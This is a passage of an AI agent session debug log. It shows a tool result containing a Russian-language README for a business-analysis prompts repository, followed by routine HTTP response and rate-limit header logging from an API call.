\u0440\u0430\u0431\u043e\u0447\u0438\u0435 \u043a\u043e\u043f\u0438\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432. Source of truth \u0434\u043b\u044f \u043e\u0431\u0449\u0438\u0445 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043e\u0432\\n\u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 \u0425\u0430\u0431\u0435; \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043a\u043e\u043f\u0438\u0438 \u2014 **\u043e\u0441\u043e\u0437\u043d\u0430\u043d\u043d\u043e\u0435** \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u0441\u043f\u043e\u043a\u0430\\n(\u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0432 [`CHANGELOG.md`](CHANGELOG.md)).\\n\\n| \u041f\u0443\u0442\u044c | \u0420\u043e\u043b\u044c |\\n| --- | --- |\\n| `standards/GLOSSARY.md` | \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u0432 (\u0440\u0430\u0431\u043e\u0447\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u043e\u0431\u0449\u0435\u0433\u043e \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u044f \u0425\u0430\u0431\u0430). |\\n| `standards/product-classification-contract.md` | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 Mango: `Domain \u2192 Capability \u2192 Feature \u2192 Atomic Function`. \u042d\u0442\u043e \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f, **\u043d\u0435** \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439. |\\n| `standards/prompt-standard.md` | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u0430: 4 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u044f frontmatter, \u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435, RAG-\u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0441\u044b\u043b\u043e\u043a. |\\n| `standards/pattern-standard.md` | \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0430: 8 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439, \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0430\u043b\u044c\u043d\u044b\u0439 `prompt_template`. |\\n| `standards/ba-ontology.md` *(+ `artifact-naming`, `team-directory`, `kb`, `industry-standards`, `bcreq-process`, `pages-ux`)* | \u0424\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u0411\u0410 \u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b (issue #97); \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b-\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u0438 \u2014 [ADR-003\u2026010](docs/adr/). |\\n\\n> \u2139\ufe0f \u041a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f **\u0442\u043e\u043b\u044c\u043a\u043e** \u043f\u043e\u0434 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u2014 \u0441\u043f\u043e\u043a \u043d\u0435 \u043d\u043e\u0441\u0438\u0442 \u0441\\n> \u0441\u043e\u0431\u043e\u0439 \u043f\u0443\u0441\u0442\u044b\u0445 \u00ab\u043e\u0440\u0433\u0430\u043d\u0435\u043b\u043b\u00bb (Anti-Inflation principle).\\n\\n## \ud83d\udd17 \u0421\u0432\u044f\u0437\u044c \u0441 \u0425\u0430\u0431\u043e\u043c \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043c\u043e\u0441\u0442\\n\\n\u0421\u043f\u043e\u043a **\u043d\u0435 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442** \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0425\u0430\u0431\u0430, \u0447\u0442\u043e\u0431\u044b \u0438\u0437\u0431\u0435\u0436\u0430\u0442\u044c \u0434\u0440\u0435\u0439\u0444\u0430. \u0412\u0441\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438\\n\u043e\u0442 research-\u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0425\u0430\u0431\u0430 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 **\u043e\u0434\u043d\u043e\u043c** \u0444\u0430\u0439\u043b\u0435 \u2014\\n`docs/hub-research-dependencies.md`, \u2014 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f \u043d\u0430 \u043d\u0438\u0445 \u0447\u0435\u0440\u0435\u0437\\n`research_dep: docs/hub-research-dependencies.md#`.\\n\u042d\u0442\u043e **\u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439** \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043c\u043e\u0441\u0442 \u043c\u0435\u0436\u0434\u0443 \u0441\u043f\u043e\u043a\u043e\u043c \u0438 \u0425\u0430\u0431\u043e\u043c; \u043f\u0440\u044f\u043c\u044b\u0445\\nhub-\u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0441\u044b\u043b\u043e\u043a (`../../standards/...`, `../../research/...`) \u0432 \u0441\u043f\u043e\u043a\u0435\\n\u0431\u044b\u0442\u044c \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u043e.\\n\\n## \ud83e\udded \u041d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f \u0434\u043b\u044f \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\\n\\n| \u041d\u0443\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c | \u041a\u0443\u0434\u0430 \u0438\u0434\u0442\u0438 |\\n| --- | --- |\\n| \u0427\u0442\u043e \u0437\u0430 \u043f\u0440\u043e\u0435\u043a\u0442 \u0438 \u0437\u0430\u0447\u0435\u043c \u043e\u043d \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 | \u042d\u0442\u043e\u0442 `README.md` |\\n| \u0422\u0430\u043a\u0441\u043e\u043d\u043e\u043c\u0438\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u0411\u0410 | [`docs/taxonomy.md`](docs/taxonomy.md) |\\n| \u041a\u0430\u043a \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0448\u0430\u0431\u043b\u043e\u043d\u044b, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u044b | [`docs/ba-ecosystem.md`](docs/ba-ecosystem.md) |\\n| \u041a\u0430\u043a\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0431\u0440\u0430\u0442\u044c \u043f\u043e\u0434 \u043c\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 | [`docs/ba-processes/00-index.md`](docs/ba-processes/00-index.md) |\\n| \u041a\u0430\u043a \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u0432 \u0425\u0430\u0431 \u0438 \u0432 `ai-ba-playbooks` | [`docs/rfc-hub-integration.md`](docs/rfc-hub-integration.md) |\\n| \u0420\u043e\u043b\u044c \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043f\u0440\u0438\u0432\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f | [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md) |\\n| \u041f\u043e\u0447\u0435\u043c\u0443 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0430 | [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md#\u043f\u0440\u0438\u043d\u0446\u0438\u043f-\u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e-\u0441\u0438\u0441\u0442\u0435\u043c\u044b-\u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f--\u0441\u0442\u043e\u0438\u043c\u043e\u0441\u0442\u044c), [`docs/ba-ecosystem.md`](docs/ba-ecosystem.md) |\\n| \u0422\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a \u043f\u0440\u043e\u043c\u043f\u0442\u0443 / \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u0443 | [`standards/prompt-standard.md`](standards/prompt-standard.md), [`standards/pattern-standard.md`](standards/pattern-standard.md) |\\n| \u041e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044f \u0411\u0410, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438, \u043d\u0435\u0439\u043c\u0438\u043d\u0433, KB, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b, UX Pages | [`standards/ba-ontology.md`](standards/ba-ontology.md), [`docs/adr/`](docs/adr/) |\\n| \u041a\u0443\u0434\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0432\u043e\u043f\u0440\u043e\u0441 | [`pr-ops/BACKLOG.md`](pr-ops/BACKLOG.md#5-\u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0435-\u0432\u043e\u043f\u0440\u043e\u0441\u044b) |\\n| \u041a\u0430\u043a \u0418\u0418 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0433\u0430\u0442\u044c \u0438 \u0433\u0434\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u044b | [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md) |\\n| \u041a\u0430\u043a \u0432\u043d\u043e\u0441\u0438\u0442\u044c \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f | [CONTRIBUTING.md](CONTRIBUTING.md) |\\n| \u0413\u0434\u0435 \u043f\u043e\u044f\u0432\u044f\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u044b \u0438 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 | `standards/` |\\n| \u041f\u043e\u0447\u0435\u043c\u0443 \u043f\u0440\u043e\u0435\u043a\u0442 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0435\u0439 | \u0420\u0430\u0437\u0434\u0435\u043b [\u00ab\u0421\u0432\u044f\u0437\u044c \u0441 \u0425\u0430\u0431\u043e\u043c\u00bb](#-\u0441\u0432\u044f\u0437\u044c-\u0441-\u0445\u0430\u0431\u043e\u043c) |\\n| \u041a\u0430\u043a \u0432\u043d\u043e\u0441\u0438\u0442\u044c \u0432\u043a\u043b\u0430\u0434 (\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 workflow) | [`CONTRIBUTING.md`](CONTRIBUTING.md) |\\n| \u041a\u0430\u043a \u0418\u0418 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0433\u0430\u0442\u044c \u0438 \u0433\u0434\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u044b | [`ai-governance/ai-governance.md`](ai-governance/ai-governance.md) |\\n| \u041f\u0440\u0430\u0432\u0438\u043b\u0430 \u0432\u044b\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0430\u0433\u0435\u043d\u0442\u0430 (fail-closed) | [`ai-rules/ai-quick-rules.md`](ai-rules/ai-quick-rules.md) |\\n| \u041a\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0418\u0418-\u0430\u0433\u0435\u043d\u0442\u0430 \u0432 \u043d\u043e\u0432\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 (\u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442) | [`ai-rules/AI_SESSION_HANDOVER_PROMPT.md`](ai-rules/AI_SESSION_HANDOVER_PROMPT.md) |\\n| \u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430 \u0430\u0433\u0435\u043d\u0442\u0430 (\u0447\u0435\u043a-\u043b\u0438\u0441\u0442 \u043f\u0435\u0440\u0435\u0434 \u0441\u0442\u0430\u0440\u0442\u043e\u043c), v1.5 | [`ai-rules/agent-onboarding-protocol.md`](ai-rules/agent-onboarding-protocol.md) |\\n| \u0410\u0440\u0445\u0438\u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430 \u043e\u043d\u0431\u043e\u0440\u0434\u0438\u043d\u0433\u0430 v1.2 (superseded, \u0434\u043b\u044f traceability) | [`.archive/ai-rules/agent-onboarding-protocol_old.md`](.archive/ai-rules/agent-onboarding-protocol_old.md) |\\n| \u041f\u043e\u0447\u0435\u043c\u0443 \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 `AI_*.md` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 \u043a\u043e\u0440\u043d\u0435, \u0430 \u0430\u0440\u0445\u0438\u0432 \u0443\u0448\u0451\u043b \u0432 `.archive/` | [`docs/audit/2026-08-21-root-structure-audit.md`](docs/audit/2026-08-21-root-structure-audit.md) |\\n| \u041a\u0430\u0440\u0442\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432 \u0438 \u0441\u0432\u044f\u0437\u0435\u0439 | [`pr-ops/artifact-map.md`](pr-ops/artifact-map.md) |\\n| \u0421\u0443\u043c\u043c\u0430\u0440\u0438\u0438 \u0434\u043b\u0438\u043d\u043d\u044b\u0445 \u0441\u0435\u0441\u0441\u0438\u0439 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 | [`pr-ops/session-digests.md`](pr-ops/session-digests.md) |\\n| \u0416\u0443\u0440\u043d\u0430\u043b \u0437\u043d\u0430\u0447\u0438\u043c\u044b\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 | [`CHANGELOG.md`](CHANGELOG.md) |\\n| \u0421\u043d\u0438\u043c\u043e\u043a \u043c\u0438\u0433\u0440\u0430\u0446\u0438\u0438 \u0438\u0437 \u0425\u0430\u0431\u0430 (\u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043d\u0435\u0441\u0435\u043d\u043e / \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c / \u0430\u0440\u0445\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043e) | [`pr-ops/migration-manifest.md`](pr-ops/migration-manifest.md) |\\n\\n## \ud83d\udc65 \u041a\u043e\u043d\u0442\u0430\u043a\u0442\u044b \u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435\\n\\n\u0420\u0430\u0441\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0435\u0439 \u0438 \u043f\u0440\u0430\u0432\u043e \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u2014 \u0432\\n[`ai-governance/ai-governance.md`](ai-governance/ai-governance.md).\\n\\n| \u0420\u043e\u043b\u044c | \u041a\u0442\u043e | \u041e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0441\u0442\u044c |\\n| --- | --- | --- |\\n| \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c | \u0418\u0432\u0430\u043d \u0413\u0443\u043b\u0438\u0435\u043d\u043a\u043e ([@G-Ivan-A](https://github.com/G-Ivan-A)) | Vision, \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442\u044b, \u0433\u0440\u0430\u043d\u0438\u0446\u044b \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 \u0438 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f. |\\n| Human reviewer | \u043d\u0430\u0437\u043d\u0430\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0430 issue/PR | \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, \u0440\u0438\u0441\u043a\u0438 \u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0441\u0442\u044c \u0434\u043e merge. |\\n| Contributor | \u043b\u044e\u0431\u043e\u0439 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a | \u0421\u043e\u0437\u0434\u0430\u0451\u0442 issues, \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u044b \u0438 pull requests \u0432\u043d\u0443\u0442\u0440\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u0430. |\\n| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c / AI agent | \u043f\u043e issue | \u0413\u043e\u0442\u043e\u0432\u0438\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0438, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 summaries \u0432 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u0445 scope issue. |\\n\\n\u0412\u043e\u043f\u0440\u043e\u0441\u044b \u0438 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u2014 \u0447\u0435\u0440\u0435\u0437 [GitHub Issues](https://github.com/G-Ivan-A/mango_ba_prompts/issues).\\n\\n## \ud83d\udcc4 \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f\\n\\n[MIT](LICENSE).\",\n[2026-09-29T07:44:34.255Z] [INFO]         \"is_error\": false\n[2026-09-29T07:44:34.255Z] [INFO]       }\n[2026-09-29T07:44:34.255Z] [INFO]     ]\n[2026-09-29T07:44:34.255Z] [INFO]   },\n[2026-09-29T07:44:34.255Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"uuid\": \"bff55721-f916-4685-8f64-62e06212fcbd\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:34.247Z\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:44:34.255Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:44:34.255Z] [INFO] }\n[2026-09-29T07:44:34.405Z] [STDOUT] [log_e25721, request-id: \"req_011CfXMgyn1gNi8PveuHzSkm\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 886ms\n[2026-09-29T07:44:34.408Z] [STDOUT] [log_e25721] response start {\n[2026-09-29T07:44:34.410Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:34.413Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:34.416Z] [STDOUT]   headers: {\n[2026-09-29T07:44:34.423Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:34.428Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:34.434Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:34.440Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:34.446Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:34.451Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:34.455Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:34.458Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:34.461Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:34.465Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:34.467Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:34.470Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:34.472Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:34.474Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:34.478Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:34.480Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:34.483Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:34.485Z] [STDOUT]     \"cf-ray\": \"a4295d018ffc29ad-FRA\",\n[2026-09-29T07:44:34.487Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:44:34.491Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:34.494Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:34.497Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:34.502Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:44:34 GMT\",\n[2026-09-29T07:44:34.506Z] [STDOUT]     \"request-id\": \"req_011CfXMgyn1gNi8PveuHzSkm\",\n[2026-09-29T07:44:34.507Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:44:34.510Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:34.512Z] [STDOUT]     traceresponse: \"00-37e0d0145ce00ce264ca8f360aaa5e41-8b923ed52b67b116-01\",\n[2026-09-29T07:44:34.517Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:34.521Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:44:34.526Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:34.531Z] [STDOUT]   },\n[2026-09-29T07:44:34.537Z] [STDOUT]   durationMs: 886,\n[2026-09-29T07:44:34.540Z] [STDOUT] }\n[2026-09-29T07:44:34.544Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:44:34.549Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:44:34 GMT\",\n[2026-09-29T07:44:34.551Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:44:34.553Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:44:34.555Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:44:34.560Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:44:34.564Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:44:34.568Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:44:34.571Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:44:34.576Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:44:34.579Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:44:34.586Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:44:34.591Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:44:34.594Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:44:34.598Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.35\",\n[2026-09-29T07:44:34.603Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:44:34.612Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:44:34.617Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:44:34.624Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:44:34.629Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:44:34.633Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:44:34.636Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.76\",\n[2026-09-29T07:44:34.638Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:44:34.642Z] [STDOUT]   \"request-id\": \"req_011CfXMgyn1gNi8PveuHzSkm\",\n[2026-09-29T07:44:34.646Z] [STDOUT]   \"traceresponse\": \"00-37e0d0145ce00ce264ca8f360aaa5e41-8b923ed52b67b116-01\",\n[2026-09-29T07:44:34.651Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:44:34.658Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:44:34.661Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:44:34.663Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:44:34.668Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:44:34.673Z] [STDOUT]   \"cf-ray\": \"a4295d018ffc29ad-FRA\",\n[2026-09-29T07:44:34.676Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:44:34.681Z] [STDOUT] [log_e25721] response parsed {\n[2026-09-29T07:44:34.685Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:44:34.690Z] [STDOUT]   status: 200,\n[2026-09-29T07:44:34.695Z] [STDOUT]   body: X {\n[2026-09-29T07:44:34.701Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:44:34.707Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:44:34.710Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:44:34.714Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:44:34.718Z] [STDOUT]     },\n[2026-09-29T07:44:34.722Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:44:34.727Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:44:34.734Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:44:34.739Z] [STDOUT]   },\n[2026-09-29T07:44:34.742Z] [STDOUT]   durationMs: 887,\n[2026-09-29T07:44:34.744Z] [STDOUT] }\n[2026-09-29T07:44:34.752Z] [INFO] {\n[2026-09-29T07:44:34.752Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:44:34.752Z] [INFO]   \"message\": {\n[2026-09-29T07:44:34.752Z] [INFO]     \"role\": 